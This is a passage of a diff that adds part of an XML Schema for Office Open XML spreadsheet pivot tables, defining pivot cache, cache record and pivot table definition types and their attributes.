</xsd:restriction> + </xsd:simpleType> + <xsd:element name="pivotCacheDefinition" type="CT_PivotCacheDefinition"/> + <xsd:element name="pivotCacheRecords" type="CT_PivotCacheRecords"/> + <xsd:element name="pivotTableDefinition" type="CT_pivotTableDefinition"/> + <xsd:complexType name="CT_PivotCacheDefinition"> + <xsd:sequence> + <xsd:element name="cacheSource" type="CT_CacheSource" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cacheFields" type="CT_CacheFields" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cacheHierarchies" minOccurs="0" type="CT_CacheHierarchies"/> + <xsd:element name="kpis" minOccurs="0" type="CT_PCDKPIs"/> + <xsd:element name="tupleCache" minOccurs="0" type="CT_TupleCache"/> + <xsd:element name="calculatedItems" minOccurs="0" type="CT_CalculatedItems"/> + <xsd:element name="calculatedMembers" type="CT_CalculatedMembers" minOccurs="0"/> + <xsd:element name="dimensions" type="CT_Dimensions" minOccurs="0"/> + <xsd:element name="measureGroups" type="CT_MeasureGroups" minOccurs="0"/> + <xsd:element name="maps" type="CT_MeasureDimensionMaps" minOccurs="0"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute ref="r:id" use="optional"/> + <xsd:attribute name="invalid" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="saveData" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="refreshOnLoad" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="optimizeMemory" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="enableRefresh" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="refreshedBy" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="refreshedDate" type="xsd:double" use="optional"/> + <xsd:attribute name="refreshedDateIso" type="xsd:dateTime" use="optional"/> + <xsd:attribute name="backgroundQuery" type="xsd:boolean" default="false"/> + <xsd:attribute name="missingItemsLimit" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="createdVersion" type="xsd:unsignedByte" use="optional" default="0"/> + <xsd:attribute name="refreshedVersion" type="xsd:unsignedByte" use="optional" default="0"/> + <xsd:attribute name="minRefreshableVersion" type="xsd:unsignedByte" use="optional" default="0"/> + <xsd:attribute name="recordCount" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="upgradeOnRefresh" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="tupleCache" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="supportSubquery" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="supportAdvancedDrill" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_CacheFields"> + <xsd:sequence> + <xsd:element name="cacheField" type="CT_CacheField" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_CacheField"> + <xsd:sequence> + <xsd:element name="sharedItems" type="CT_SharedItems" minOccurs="0" maxOccurs="1"/> + <xsd:element name="fieldGroup" minOccurs="0" type="CT_FieldGroup"/> + <xsd:element name="mpMap" minOccurs="0" maxOccurs="unbounded" type="CT_X"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="caption" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="propertyName" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="serverField" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="uniqueList" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="numFmtId" type="ST_NumFmtId" use="optional"/> + <xsd:attribute name="formula" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="sqlType" type="xsd:int" use="optional" default="0"/> + <xsd:attribute name="hierarchy" type="xsd:int" use="optional" default="0"/> + <xsd:attribute name="level" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="databaseField" type="xsd:boolean" default="true"/> + <xsd:attribute name="mappingCount" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="memberPropertyField" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_CacheSource"> + <xsd:choice minOccurs="0" maxOccurs="1"> + <xsd:element name="worksheetSource" type="CT_WorksheetSource" minOccurs="1" maxOccurs="1"/> + <xsd:element name="consolidation" type="CT_Consolidation" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0"/> + </xsd:choice> + <xsd:attribute name="type" type="ST_SourceType" use="required"/> + <xsd:attribute name="connectionId" type="xsd:unsignedInt" default="0" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_SourceType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="worksheet"/> + <xsd:enumeration value="external"/> + <xsd:enumeration value="consolidation"/> + <xsd:enumeration value="scenario"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_WorksheetSource"> + <xsd:attribute name="ref" type="ST_Ref" use="optional"/> + <xsd:attribute name="name" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="sheet" type="s:ST_Xstring" use="optional"/> + <xsd:attribute ref="r:id" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Consolidation"> + <xsd:sequence> + <xsd:element name="pages" type="CT_Pages" minOccurs="0" maxOccurs="1"/> + <xsd:element name="rangeSets" type="CT_RangeSets" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="autoPage" type="xsd:boolean" default="true" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Pages"> + <xsd:sequence> + <xsd:element name="page" type="CT_PCDSCPage" minOccurs="1" maxOccurs="4"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_PCDSCPage"> + <xsd:sequence> + <xsd:element name="pageItem" type="CT_PageItem" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_PageItem"> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_RangeSets"> + <xsd:sequence> + <xsd:element name="rangeSet" type="CT_RangeSet" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_RangeSet"> + <xsd:attribute name="i1" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="i2" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="i3" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="i4" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="ref" type="ST_Ref" use="optional"/> + <xsd:attribute name="name" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="sheet" type="s:ST_Xstring" use="optional"/> + <xsd:attribute ref="r:id" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_SharedItems"> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="m" type="CT_Missing" minOccurs="1" maxOccurs="1"/> + <xsd:element name="n" type="CT_Number" minOccurs="1" maxOccurs="1"/> + <xsd:element name="b" type="CT_Boolean" minOccurs="1" maxOccurs="1"/> + <xsd:element name="e" type="CT_Error" minOccurs="1" maxOccurs="1"/> + <xsd:element name="s" type="CT_String" minOccurs="1" maxOccurs="1"/> + <xsd:element name="d" type="CT_DateTime" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + <xsd:attribute name="containsSemiMixedTypes" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="containsNonDate" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="containsDate" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="containsString" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="containsBlank" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="containsMixedTypes" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="containsNumber" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="containsInteger" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="minValue" type="xsd:double" use="optional"/> + <xsd:attribute name="maxValue" type="xsd:double" use="optional"/> + <xsd:attribute name="minDate" type="xsd:dateTime" use="optional"/> + <xsd:attribute name="maxDate" type="xsd:dateTime" use="optional"/> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="longText" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_Missing"> + <xsd:sequence> + <xsd:element name="tpls" minOccurs="0" maxOccurs="unbounded" type="CT_Tuples"/> + <xsd:element name="x" minOccurs="0" maxOccurs="unbounded" type="CT_X"/> + </xsd:sequence> + <xsd:attribute name="u" type="xsd:boolean"/> + <xsd:attribute name="f" type="xsd:boolean"/> + <xsd:attribute name="c" type="s:ST_Xstring"/> + <xsd:attribute name="cp" type="xsd:unsignedInt"/> + <xsd:attribute name="in" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="bc" type="ST_UnsignedIntHex" use="optional"/> + <xsd:attribute name="fc" type="ST_UnsignedIntHex" use="optional"/> + <xsd:attribute name="i" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="un" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="st" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="b" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_Number"> + <xsd:sequence> + <xsd:element name="tpls" minOccurs="0" maxOccurs="unbounded" type="CT_Tuples"/> + <xsd:element name="x" minOccurs="0" maxOccurs="unbounded" type="CT_X"/> + </xsd:sequence> + <xsd:attribute name="v" use="required" type="xsd:double"/> + <xsd:attribute name="u" type="xsd:boolean"/> + <xsd:attribute name="f" type="xsd:boolean"/> + <xsd:attribute name="c" type="s:ST_Xstring"/> + <xsd:attribute name="cp" type="xsd:unsignedInt"/> + <xsd:attribute name="in" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="bc" type="ST_UnsignedIntHex" use="optional"/> + <xsd:attribute name="fc" type="ST_UnsignedIntHex" use="optional"/> + <xsd:attribute name="i" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="un" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="st" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="b" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_Boolean"> + <xsd:sequence> + <xsd:element name="x" minOccurs="0" maxOccurs="unbounded" type="CT_X"/> + </xsd:sequence> + <xsd:attribute name="v" use="required" type="xsd:boolean"/> + <xsd:attribute name="u" type="xsd:boolean"/> + <xsd:attribute name="f" type="xsd:boolean"/> + <xsd:attribute name="c" type="s:ST_Xstring"/> + <xsd:attribute name="cp" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_Error"> + <xsd:sequence> + <xsd:element name="tpls" minOccurs="0" type="CT_Tuples"/> + <xsd:element name="x" minOccurs="0" maxOccurs="unbounded" type="CT_X"/> + </xsd:sequence> + <xsd:attribute name="v" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="u" type="xsd:boolean"/> + <xsd:attribute name="f" type="xsd:boolean"/> + <xsd:attribute name="c" type="s:ST_Xstring"/> + <xsd:attribute name="cp" type="xsd:unsignedInt"/> + <xsd:attribute name="in" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="bc" type="ST_UnsignedIntHex" use="optional"/> + <xsd:attribute name="fc" type="ST_UnsignedIntHex" use="optional"/> + <xsd:attribute name="i" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="un" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="st" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="b" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_String"> + <xsd:sequence> + <xsd:element name="tpls" minOccurs="0" maxOccurs="unbounded" type="CT_Tuples"/> + <xsd:element name="x" minOccurs="0" maxOccurs="unbounded" type="CT_X"/> + </xsd:sequence> + <xsd:attribute name="v" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="u" type="xsd:boolean"/> + <xsd:attribute name="f" type="xsd:boolean"/> + <xsd:attribute name="c" type="s:ST_Xstring"/> + <xsd:attribute name="cp" type="xsd:unsignedInt"/> + <xsd:attribute name="in" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="bc" type="ST_UnsignedIntHex" use="optional"/> + <xsd:attribute name="fc" type="ST_UnsignedIntHex" use="optional"/> + <xsd:attribute name="i" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="un" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="st" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="b" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_DateTime"> + <xsd:sequence> + <xsd:element name="x" minOccurs="0" maxOccurs="unbounded" type="CT_X"/> + </xsd:sequence> + <xsd:attribute name="v" use="required" type="xsd:dateTime"/> + <xsd:attribute name="u" type="xsd:boolean"/> + <xsd:attribute name="f" type="xsd:boolean"/> + <xsd:attribute name="c" type="s:ST_Xstring"/> + <xsd:attribute name="cp" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_FieldGroup"> + <xsd:sequence> + <xsd:element name="rangePr" minOccurs="0" type="CT_RangePr"/> + <xsd:element name="discretePr" minOccurs="0" type="CT_DiscretePr"/> + <xsd:element name="groupItems" minOccurs="0" type="CT_GroupItems"/> + </xsd:sequence> + <xsd:attribute name="par" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="base" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_RangePr"> + <xsd:attribute name="autoStart" type="xsd:boolean" default="true"/> + <xsd:attribute name="autoEnd" type="xsd:boolean" default="true"/> + <xsd:attribute name="groupBy" type="ST_GroupBy" default="range"/> + <xsd:attribute name="startNum" type="xsd:double"/> + <xsd:attribute name="endNum" type="xsd:double"/> + <xsd:attribute name="startDate" type="xsd:dateTime"/> + <xsd:attribute name="endDate" type="xsd:dateTime"/> + <xsd:attribute name="groupInterval" type="xsd:double" default="1"/> + </xsd:complexType> + <xsd:simpleType name="ST_GroupBy"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="range"/> + <xsd:enumeration value="seconds"/> + <xsd:enumeration value="minutes"/> + <xsd:enumeration value="hours"/> + <xsd:enumeration value="days"/> + <xsd:enumeration value="months"/> + <xsd:enumeration value="quarters"/> + <xsd:enumeration value="years"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_DiscretePr"> + <xsd:sequence> + <xsd:element name="x" maxOccurs="unbounded" type="CT_Index"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_GroupItems"> + <xsd:choice maxOccurs="unbounded"> + <xsd:element name="m" type="CT_Missing"/> + <xsd:element name="n" type="CT_Number"/> + <xsd:element name="b" type="CT_Boolean"/> + <xsd:element name="e" type="CT_Error"/> + <xsd:element name="s" type="CT_String"/> + <xsd:element name="d" type="CT_DateTime"/> + </xsd:choice> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_PivotCacheRecords"> + <xsd:sequence> + <xsd:element name="r" minOccurs="0" maxOccurs="unbounded" type="CT_Record"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_Record"> + <xsd:choice maxOccurs="unbounded"> + <xsd:element name="m" type="CT_Missing"/> + <xsd:element name="n" type="CT_Number"/> + <xsd:element name="b" type="CT_Boolean"/> + <xsd:element name="e" type="CT_Error"/> + <xsd:element name="s" type="CT_String"/> + <xsd:element name="d" type="CT_DateTime"/> + <xsd:element name="x" type="CT_Index"/> + </xsd:choice> + </xsd:complexType> + <xsd:complexType name="CT_PCDKPIs"> + <xsd:sequence> + <xsd:element name="kpi" minOccurs="0" maxOccurs="unbounded" type="CT_PCDKPI"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_PCDKPI"> + <xsd:attribute name="uniqueName" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="caption" use="optional" type="s:ST_Xstring"/> + <xsd:attribute name="displayFolder" type="s:ST_Xstring"/> + <xsd:attribute name="measureGroup" type="s:ST_Xstring"/> + <xsd:attribute name="parent" type="s:ST_Xstring"/> + <xsd:attribute name="value" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="goal" type="s:ST_Xstring"/> + <xsd:attribute name="status" type="s:ST_Xstring"/> + <xsd:attribute name="trend" type="s:ST_Xstring"/> + <xsd:attribute name="weight" type="s:ST_Xstring"/> + <xsd:attribute name="time" type="s:ST_Xstring"/> + </xsd:complexType> + <xsd:complexType name="CT_CacheHierarchies"> + <xsd:sequence> + <xsd:element name="cacheHierarchy" minOccurs="0" maxOccurs="unbounded" + type="CT_CacheHierarchy"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_CacheHierarchy"> + <xsd:sequence> + <xsd:element name="fieldsUsage" minOccurs="0" type="CT_FieldsUsage"/> + <xsd:element name="groupLevels" minOccurs="0" type="CT_GroupLevels"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="uniqueName" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="caption" use="optional" type="s:ST_Xstring"/> + <xsd:attribute name="measure" type="xsd:boolean" default="false"/> + <xsd:attribute name="set" type="xsd:boolean" default="false"/> + <xsd:attribute name="parentSet" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="iconSet" type="xsd:int" default="0"/> + <xsd:attribute name="attribute" type="xsd:boolean" default="false"/> + <xsd:attribute name="time" type="xsd:boolean" default="false"/> + <xsd:attribute name="keyAttribute" type="xsd:boolean" default="false"/> + <xsd:attribute name="defaultMemberUniqueName" type="s:ST_Xstring"/> + <xsd:attribute name="allUniqueName" type="s:ST_Xstring"/> + <xsd:attribute name="allCaption" type="s:ST_Xstring"/> + <xsd:attribute name="dimensionUniqueName" type="s:ST_Xstring"/> + <xsd:attribute name="displayFolder" type="s:ST_Xstring"/> + <xsd:attribute name="measureGroup" type="s:ST_Xstring"/> + <xsd:attribute name="measures" type="xsd:boolean" default="false"/> + <xsd:attribute name="count" use="required" type="xsd:unsignedInt"/> + <xsd:attribute name="oneField" type="xsd:boolean" default="false"/> + <xsd:attribute name="memberValueDatatype" use="optional" type="xsd:unsignedShort"/> + <xsd:attribute name="unbalanced" use="optional" type="xsd:boolean"/> + <xsd:attribute name="unbalancedGroup" use="optional" type="xsd:boolean"/> + <xsd:attribute name="hidden" type="xsd:boolean" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_FieldsUsage"> + <xsd:sequence> + <xsd:element name="fieldUsage" minOccurs="0" maxOccurs="unbounded" type="CT_FieldUsage"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_FieldUsage"> + <xsd:attribute name="x" use="required" type="xsd:int"/> + </xsd:complexType> + <xsd:complexType name="CT_GroupLevels"> + <xsd:sequence> + <xsd:element name="groupLevel" maxOccurs="unbounded" type="CT_GroupLevel"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_GroupLevel"> + <xsd:sequence> + <xsd:element name="groups" minOccurs="0" type="CT_Groups"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="uniqueName" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="caption" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="user" type="xsd:boolean" default="false"/> + <xsd:attribute name="customRollUp" type="xsd:boolean" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_Groups"> + <xsd:sequence> + <xsd:element name="group" maxOccurs="unbounded" type="CT_LevelGroup"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_LevelGroup"> + <xsd:sequence> + <xsd:element name="groupMembers" type="CT_GroupMembers"/> + </xsd:sequence> + <xsd:attribute name="name" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="uniqueName" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="caption" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="uniqueParent" type="s:ST_Xstring"/> + <xsd:attribute name="id" type="xsd:int"/> + </xsd:complexType> + <xsd:complexType name="CT_GroupMembers"> + <xsd:sequence> + <xsd:element name="groupMember" maxOccurs="unbounded" type="CT_GroupMember"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_GroupMember"> + <xsd:attribute name="uniqueName" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="group" type="xsd:boolean" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_TupleCache"> + <xsd:sequence> + <xsd:element name="entries" minOccurs="0" type="CT_PCDSDTCEntries"/> + <xsd:element name="sets" minOccurs="0" type="CT_Sets"/> + <xsd:element name="queryCache" minOccurs="0" type="CT_QueryCache"/> + <xsd:element name="serverFormats" minOccurs="0" maxOccurs="1" type="CT_ServerFormats"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ServerFormat"> + <xsd:attribute name="culture" use="optional" type="s:ST_Xstring"/> + <xsd:attribute name="format" use="optional" type="s:ST_Xstring"/> + </xsd:complexType> + <xsd:complexType name="CT_ServerFormats"> + <xsd:sequence> + <xsd:element name="serverFormat" type="CT_ServerFormat" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_PCDSDTCEntries"> + <xsd:choice maxOccurs="unbounded"> + <xsd:element name="m" type="CT_Missing"/> + <xsd:element name="n" type="CT_Number"/> + <xsd:element name="e" type="CT_Error"/> + <xsd:element name="s" type="CT_String"/> + </xsd:choice> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_Tuples"> + <xsd:sequence> + <xsd:element name="tpl" type="CT_Tuple" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="c" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Tuple"> + <xsd:attribute name="fld" type="xsd:unsignedInt"/> + <xsd:attribute name="hier" type="xsd:unsignedInt"/> + <xsd:attribute name="item" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Sets"> + <xsd:sequence> + <xsd:element name="set" maxOccurs="unbounded" type="CT_Set"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_Set"> + <xsd:sequence> + <xsd:element name="tpls" minOccurs="0" maxOccurs="unbounded" type="CT_Tuples"/> + <xsd:element name="sortByTuple" minOccurs="0" type="CT_Tuples"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + <xsd:attribute name="maxRank" use="required" type="xsd:int"/> + <xsd:attribute name="setDefinition" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="sortType" type="ST_SortType" default="none"/> + <xsd:attribute name="queryFailed" type="xsd:boolean" default="false"/> + </xsd:complexType> + <xsd:simpleType name="ST_SortType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="ascending"/> + <xsd:enumeration value="descending"/> + <xsd:enumeration value="ascendingAlpha"/> + <xsd:enumeration value="descendingAlpha"/> + <xsd:enumeration value="ascendingNatural"/> + <xsd:enumeration value="descendingNatural"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_QueryCache"> + <xsd:sequence> + <xsd:element name="query" maxOccurs="unbounded" type="CT_Query"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_Query"> + <xsd:sequence> + <xsd:element name="tpls" minOccurs="0" type="CT_Tuples"/> + </xsd:sequence> + <xsd:attribute name="mdx" use="required" type="s:ST_Xstring"/> + </xsd:complexType> + <xsd:complexType name="CT_CalculatedItems"> + <xsd:sequence> + <xsd:element name="calculatedItem" maxOccurs="unbounded" type="CT_CalculatedItem"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_CalculatedItem"> + <xsd:sequence> + <xsd:element name="pivotArea" type="CT_PivotArea"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="field" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="formula" type="s:ST_Xstring"/> + </xsd:complexType> + <xsd:complexType name="CT_CalculatedMembers"> + <xsd:sequence> + <xsd:element name="calculatedMember" maxOccurs="unbounded" type="CT_CalculatedMember"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_CalculatedMember"> + <xsd:sequence minOccurs="0"> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="name" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="mdx" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="memberName" type="s:ST_Xstring"/> + <xsd:attribute name="hierarchy" type="s:ST_Xstring"/> + <xsd:attribute name="parent" type="s:ST_Xstring"/> + <xsd:attribute name="solveOrder" type="xsd:int" default="0"/> + <xsd:attribute name="set" type="xsd:boolean" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_pivotTableDefinition"> + <xsd:sequence> + <xsd:element name="location" type="CT_Location"/> + <xsd:element name="pivotFields" type="CT_PivotFields" minOccurs="0"/> + <xsd:element name="rowFields" type="CT_RowFields" minOccurs="0"/> + <xsd:element name="rowItems" type="CT_rowItems" minOccurs="0"/> + <xsd:element name="colFields" type="CT_ColFields" minOccurs="0"/> + <xsd:element name="colItems" type="CT_colItems" minOccurs="0"/> + <xsd:element name="pageFields" type="CT_PageFields" minOccurs="0"/> + <xsd:element name="dataFields" type="CT_DataFields" minOccurs="0"/> + <xsd:element name="formats" type="CT_Formats" minOccurs="0"/> + <xsd:element name="conditionalFormats" type="CT_ConditionalFormats" minOccurs="0"/> + <xsd:element name="chartFormats" type="CT_ChartFormats" minOccurs="0"/> + <xsd:element name="pivotHierarchies" type="CT_PivotHierarchies" minOccurs="0"/> + <xsd:element name="pivotTableStyleInfo" minOccurs="0" maxOccurs="1" type="CT_PivotTableStyle"/> + <xsd:element name="filters" minOccurs="0" maxOccurs="1" type="CT_PivotFilters"/> + <xsd:element name="rowHierarchiesUsage" type="CT_RowHierarchiesUsage" minOccurs="0" + maxOccurs="1"/> + <xsd:element name="colHierarchiesUsage" type="CT_ColHierarchiesUsage" minOccurs="0" + maxOccurs="1"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="name" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="cacheId" use="required" type="xsd:unsignedInt"/> + <xsd:attribute name="dataOnRows" type="xsd:boolean" default="false"/> + <xsd:attribute name="dataPosition" type="xsd:unsignedInt" use="optional"/> + <xsd:attributeGroup ref="AG_AutoFormat"/> + <xsd:attribute name="dataCaption" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="grandTotalCaption" type="s:ST_Xstring"/> + <xsd:attribute name="errorCaption" type="s:ST_Xstring"/> + <xsd:attribute name="showError" type="xsd:boolean" default="false"/> + <xsd:attribute name="missingCaption" type="s:ST_Xstring"/> + <xsd:attribute name="showMissing" type="xsd:boolean" default="true"/> + <xsd:attribute name="pageStyle" type="s:ST_Xstring"/> + <xsd:attribute name="pivotTableStyle" type="s:ST_Xstring"/> + <xsd:attribute name="vacatedStyle" type="s:ST_Xstring"/> + <xsd:attribute name="tag" type="s:ST_Xstring"/> + <xsd:attribute name="updatedVersion" type="xsd:unsignedByte" default="0"/> + <xsd:attribute name="minRefreshableVersion" type="xsd:unsignedByte" default="0"/> + <xsd:attribute name="asteriskTotals" type="xsd:boolean" default="false"/> + <xsd:attribute name="showItems" type="xsd:boolean" default="true"/> + <xsd:attribute name="editData" type="xsd:boolean" default="false"/> + <xsd:attribute name="disableFieldList" type="xsd:boolean" default="false"/> + <xsd:attribute name="showCalcMbrs" type="xsd:boolean" default="true"/> + <xsd:attribute name="visualTotals" type="xsd:boolean" default="true"/> + <xsd:attribute name="showMultipleLabel" type="xsd:boolean" default="true"/> + <xsd:attribute name="showDataDropDown" type="xsd:boolean" default="true"/> + <xsd:attribute name="showDrill" type="xsd:boolean" default="true"/> + <xsd:attribute name="printDrill" type="xsd:boolean" default="false"/> + <xsd:attribute name="showMemberPropertyTips" type="xsd:boolean" default="true"/> + <xsd:attribute name="showDataTips" type="xsd:boolean" default="true"/> + <xsd:attribute name="enableWizard" type="xsd:boolean" 